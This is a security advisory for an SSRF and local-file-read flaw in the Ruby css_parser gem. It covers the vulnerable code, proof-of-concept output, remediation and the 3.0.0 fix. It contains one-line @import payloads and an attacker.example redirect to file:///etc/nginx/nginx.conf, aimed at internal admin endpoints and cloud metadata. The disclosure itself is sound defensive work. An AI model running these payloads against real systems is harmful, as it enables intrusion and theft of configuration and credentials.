css_parser CVE-2026-53727

Summary

CssParser::Parser#read_remote_file (and therefore load_uri!, and the @import-following branch of add_block!) issues HTTP/HTTPS requests against any host, port and URI it is handed, with no scheme allowlist, no host / IP filtering, and no protection against link-local, loopback or RFC‑1918 addresses. Location: redirects are followed recursively back into the same function, which also services file:// URIs, so a single attacker-controlled HTTP redirect upgrades the bug from SSRF to arbitrary local file disclosure.

In practice, any consumer of css_parser that hands it attacker‑influenced CSS together with a base_uri: option - Premailer being the canonical example - is exposed. The attacker only needs the ability to land one @import url(...) in the CSS that the host application parses.

Vulnerable code

lib/css_parser/parser.rb#L613-L687:

def read_remote_file(uri)
# :nodoc:
  ...
  begin
    uri = Addressable::URI.parse(uri.to_s)

    if uri.scheme == 'file'
# local file
      path = uri.path
      path.gsub!(%r{^/}, '') if Gem.win_platform?
      src = File.read(path, mode: 'rb')
# <-- arbitrary local read
    else
# remote file
      if uri.scheme == 'https'
        uri.port = 443 unless uri.port
        http = Net::HTTP.new(uri.host, uri.port)
        http.use_ssl = true
      else
        http = Net::HTTP.new(uri.host, uri.port)
# <-- arbitrary host:port
      end

      res = http.get(uri.request_uri, ...)
      ...
      elsif res.code.to_i >= 300 and res.code.to_i < 400
        unless res['Location'].nil?
          return read_remote_file Addressable::URI.parse(...)
# <-- cross-scheme redirect
        end
      end
    ...

There is no validation of uri.host, uri.scheme, or the resolved IP address - neither before the HTTP request, nor before the recursive call on the Location header.

The user-facing entry points that reach this sink are:

• Parser#load_uri! - directly calls read_remote_file (line 513).
• Parser#add_block! - when invoked with base_uri: and the default import: true, scans the CSS for @import url(...) rules and resolves each one through load_uri! (line 150).

Threat model and scope

File-disclosure scope (cross-scheme redirect leg)

The file:// branch of read_remote_file does an unconditional File.read, but the contents are then handed back to add_block! and fed through the CSS tokenizer (parse_block_into_rule_sets!). Only content that fits the grammar at the lexer level survives:

• Selector slot - any text accumulated before the next { becomes the selector for that rule (including text spanning multiple lines).
• Declarations slot - only prop: value; pairs inside { ... } are retained. The Declarations parser splits on ;, requires :, and drops anything else (rule_set.rb#L655-L681).
• A rule is only added when the *raw* declarations string between { and } is non-empty (parser.rb#L396).

Empirical results against vulnerable 2.2.0 with Location: file://<path>:

In practice this means high-value targets that aren't CSS-shaped - TLS keys, SSH keys, JWTs, .env files (KEY=VALUE lines), /etc/passwd, binary content - do not leak their bytes through the parser API. Configuration files written in block-style DSLs (nginx, HCL/Terraform, Caddy, etc.) leak heavily. The File.read itself always executes, which is enough to (a) act as a file-existence oracle and (b) cause resource exhaustion on large pseudo-files like /dev/zero.

The stronger recovery channel is the SSRF leg, not file disclosure: when the response comes from an internal HTTP service, Premailer-style consumers serialize the parsed CSS back into rendered HTML/email output, and any CSS-shaped bytes in the response surface there.

Is it "blind"?

It is *not* a classic blind SSRF. The bug has two recovery channels:

1. Application output. The library is most commonly driven by Premailer, which writes the parsed CSS back into the rendered HTML. Any response bytes that happen to form CSS rules are emitted into the output document and therefore visible to whoever receives the rendered output. Internal endpoints frequently return content that parses as CSS by accident - anywhere { ... } appears (JSON objects sit just inside that envelope; many config-dump endpoints look the same) the contents become exfiltratable rules.
2. Side effects on the destination. Because the request actually leaves the server, an attacker who controls the destination URL sees the request unconditionally (URL, headers, source IP, user-agent from @options[:user_agent]). And when the destination is an internal service the attacker does *not* control, the GET is nonetheless executed against that service.

Reproduction

A minimal, self-contained reproducer is attached as [poc.rb](./poc.rb). It spins up two local WEBrick servers (a fake "internal" service on 127.0.0.1:18080 and an attacker-controlled redirector on 127.0.0.1:18081) and runs four scenarios against css_parser 2.2.0.

$ gem install css_parser -v 2.2.0
$ gem install webrick
# not bundled with Ruby >= 3.0
$ ruby poc.rb

Actual output

========================================================================
POC 1 - SSRF: force a GET to an internal-only HTTP endpoint and
         recover the response body via the parser API
========================================================================
Attacker-supplied CSS:
  @import url("http://127.0.0.1:18080/admin-credentials");
Internal endpoint hit count: 1  (should be >= 1)
Rules parsed from the internal response:
  .creds { content: "AKIAFAKEINTERNALONLY:wJalrXUtnFEMIFAKESECRET"; }

========================================================================
POC 2 - Cross-scheme redirect: HTTP 302 → file:// → local file read
========================================================================
Local secret file: /tmp/css_parser_nginx.conf
Attacker-supplied CSS:
  @import url("http://127.0.0.1:18081/to-local-file");
Rules parsed from the redirect target (a local file):
  server { listen: 443; server_name: internal.example.com;
           ssl_certificate_key: /etc/nginx/ssl/SECRET_PRIVATE_KEY.pem;
           proxy_pass: http://10.0.0.42:8080; }

========================================================================
POC 3 - Direct load_uri! also affected
========================================================================
parser.load_uri!('http://127.0.0.1:18080/admin-credentials')
  .creds { content: "AKIAFAKEINTERNALONLY:wJalrXUtnFEMIFAKESECRET"; }

========================================================================
POC 4 - Pure SSRF side-effect (works even when the response is not CSS-shaped)
========================================================================
Attacker-supplied CSS:
  @import url("http://127.0.0.1:18080/admin/delete-user?id=42");
Internal side-effect endpoint reached? true
Request observed by internal service: "/admin/delete-user?id=42"

Minimal one-line triggers

The smallest possible attacker payload is a single @import rule. The following three examples are ordered from "highest practical impact" to "least", because the parser's data-recovery surface depends on the shape of the response (see the "File-disclosure scope" table above):

1. Internal block-DSL config via cross-scheme redirect → file:// - nginx, HCL/Terraform, Caddy, BIND, etc. all use name { key value; } block syntax, which round-trips cleanly out of the css_parser API. An attacker who controls attacker.example redirects to the local file:

/* attacker.css */
@import url("https://attacker.example/r");

GET https://attacker.example/r
→ 302 Location: file:///etc/nginx/nginx.conf

Result: the full server { listen 443 ssl; ssl_certificate_key …; … } block is parsed into selectors and declarations and surfaces via parser.to_s, which Premailer-style consumers re-emit into rendered output.

2. Side-effecting internal admin GET - even when the response is not CSS-shaped, the request still executes against the internal service:

@import url("http://internal-admin.local/api/v1/users/42?action=delete");

No data exfiltration is required for this to be a vulnerability: the attacker has achieved an authenticated-from-localhost GET against an internal control-plane endpoint.

3. Internal HTTP service whose body happens to be CSS-shaped - a status / debug page or a config endpoint that emits block { key: value; } text. Same recovery profile as case (1).

@import url("http://internal-svc.local/debug/config");

All three payloads are parsed via:

require 'css_parser'
parser = CssParser::Parser.new
parser.add_block!(File.read('attacker.css'), base_uri: 'http://attacker.example/')

base_uri: is the only required option - it is what enables the @import-following code path (parser.rb:147-150). Premailer always sets base_uri: when given an HTML document that has a URL, so every Premailer pipeline that processes attacker-influenced HTML/CSS reaches this sink.

> Note on the EC2 IMDS / 169.254.169.254 example often associated with SSRF write-ups: @import url("http://169.254.169.254/latest/meta-data/iam/security-credentials/") does fire the request, but the role-list response is plain text with no { characters and is therefore discarded by the CSS tokenizer - nothing surfaces via parser.to_s or each_selector. The per-role credentials JSON endpoint *partially* leaks the body as a single declaration value, but only via each_rule_set / each_declaration, which Premailer does not expose to its output. IMDSv2 is not exploitable at all (no PUT support, no header injection). The bug is still serious - just not via the IMDS path the way an XHR/curl-based SSRF would be.

Standalone file:// via load_uri! (no HTTP redirect needed)

Independent of the SSRF / redirect chain above, Parser#load_uri! itself executes File.read against any file:// URI it is handed, and Parser#add_block!(css, base_uri: 'file:///some/dir/') resolves @import against that base. Any application that hands an attacker-influenced URI (or an @import URL with an attacker-influenced base) to either method has a local file read primitive - no HTTP, no redirect, no ssrf_filter-bypass technique required.

require 'css_parser'
parser = CssParser::Parser.new
parser.load_uri!('file:///etc/nginx/nginx.conf')
# direct File.read

…or via a CSS-driven path with an attacker-controlled @import:

parser = CssParser::Parser.new
parser.add_block!(File.read('attacker.css'), base_uri: 'file:///etc/')
# attacker.css contains: @import url("nginx/nginx.conf");

The recoverable-content rules in the "File-disclosure scope" subsection above apply identically here - the bytes flow through the same add_block! tokenizer regardless of whether they arrived via redirect or directly. Applications that don't accept HTTP URLs from users but *do* construct file:// URIs from any user-supplied component are exposed.

This is a separate weakness (CWE-73) from the SSRF leg (CWE-918) and is gated by its own opt-in flag in 3.0.0 (see "Fix as shipped in 3.0.0" below).

Suggested remediation

1. Reject non-http(s) schemes in read_remote_file. Before the recursive redirect call at line 661 and at the top of read_remote_file, require uri.scheme.in?(%w[http https]). The file:// branch at lines 635-639 should be removed from read_remote_file entirely - local files are already handled by load_file!, so keeping a file:// branch in the *remote* read path serves no purpose other than enabling this redirect bypass.
2. Validate the resolved address against private / link-local / loopback ranges, behind an opt-in option (e.g. allow_local_uris: false). At minimum, resolve uri.host and reject results in 127.0.0.0/8, 10/8, 172.16/12, 192.168/16, 169.254/16, ::1, fc00::/7, fe80::/10, and unspecified addresses. The check must be done *after* DNS resolution and re-checked on every redirect hop, otherwise DNS rebinding and CNAME redirection trivially bypass it.
3. Re-validate every redirect hop. The recursive call at line 661 currently inherits no validation. Apply the same scheme / host / address checks as step 1-2 before recursing.
4. Bound the response size read from http.get and decompressed at lines 665-672, to mitigate decompression bombs.
5. Document the security posture. load_uri! / add_block! with base_uri: should be documented as security-sensitive, with a clear recommendation that any caller exposing them to untrusted CSS use the allowlist option above.

Many of these issues could be generally remediated by replacing the network logic with the ssrf_filter gem.

Fix as shipped in 3.0.0

The remediation lands as two structural changes plus two new independent opt-in flags. The structural changes apply unconditionally; the flags let callers re-enable specific subsets of the old behaviour where they have a legitimate need.

Structural changes (always on, no opt-out)

• Outbound HTTP goes through ssrf_filter by default. ssrf_filter resolves the hostname with Resolv, rejects unsafe IP ranges (loopback, RFC-1918, link-local, multicast, IPv6 ULAs, cloud metadata), enforces a scheme_whitelist of %w[http https], and re-validates scheme and IP on every redirect hop. CNAME-to-private-IP and other DNS-rebinding-style bypasses are defeated by the resolved-IP check.
• file:// is no longer reachable from the remote-fetch path at all. The file:// handling was moved out of read_remote_file entirely into load_uri!, so a 3xx Location: file://... response cannot be followed regardless of how the parser is configured.
• Accept-Encoding: gzip is no longer requested by the remote-fetch path, removing the decompression-bomb surface that was called out as a separate mitigation item.

New Parser options

Two independent off-by-default flags, mapping 1:1 to the two CWE classes:

Each flag is independent: setting allow_local_network: true does not permit file://, and allow_file_uris: true does not permit loopback HTTP. Callers grant exactly the threat surface they need open and nothing more.

load_file! - the explicit local-file API that takes a path (not a URI) - is unaffected by either flag, because the path comes from the caller's own code, not from a user-influenced URI.

Upgrade notes

• Premailer / email-rendering / link-preview pipelines: no code changes required. The default-secure 3.0.0 configuration is exactly what you want - the same Parser.new instantiation now refuses SSRF and LFI attempts.
• Test suites that fetch from localhost or a loopback fixture server: pass allow_local_network: true on the relevant Parser.new calls.
• Code that deliberately calls parser.load_uri!('file://...') or sets base_uri: 'file://...': pass allow_file_uris: true. Where possible, prefer migrating to parser.load_file!(path) instead - it's the explicit local-file API and is not subject to the URI gate.
• Code that uses both (e.g. integration tests against a local HTTP fixture *and* file:// fixtures): pass both, Parser.new(allow_local_network: true, allow_file_uris: true).

The fix landed across these commits: ba74c3c (failing tests), 7d2ddf0 (implementation), e0a1514 (defensive invariant guards), all merged.

Credit

This vulnerability was reported by @JLLeitschuh of the @braze-inc security team. This vulnerability was originally discovered by the pentesters at @nccgroup.